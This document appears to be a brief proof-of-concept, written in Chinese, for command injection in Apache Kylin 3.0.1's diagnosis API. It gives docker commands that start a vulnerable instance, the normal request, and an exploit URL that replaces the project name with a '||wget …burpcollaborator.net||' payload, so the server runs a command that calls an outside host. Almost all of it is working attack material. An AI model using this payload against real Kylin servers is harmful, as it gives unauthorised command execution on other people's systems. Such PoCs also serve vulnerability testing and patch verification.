docker pull apachekylin/apache-kylin-standalone:3.0.1

docker run -d \
    -m 8G \
    -p 7070:7070 \
    -p 8088:8088 \
    -p 50070:50070 \
    -p 8032:8032 \
    -p 8042:8042 \
    -p 16010:16010 \
    apachekylin/apache-kylin-standalone:3.0.1
    
docker run -d \
    -p 7070:7070 \
    -p 8088:8088 \
    -p 50070:50070 \
    -p 8032:8032 \
    -p 8042:8042 \
    -p 16010:16010 \
    apachekylin/apache-kylin-standalone:3.0.1

原始请求：
http://host:port/kylin/api/diag/project/learn_kylin/download
        
PoC请求，GET方法：
http://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download

即将项目名称“learn_kylin”替换为如下payload访问即可：
||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||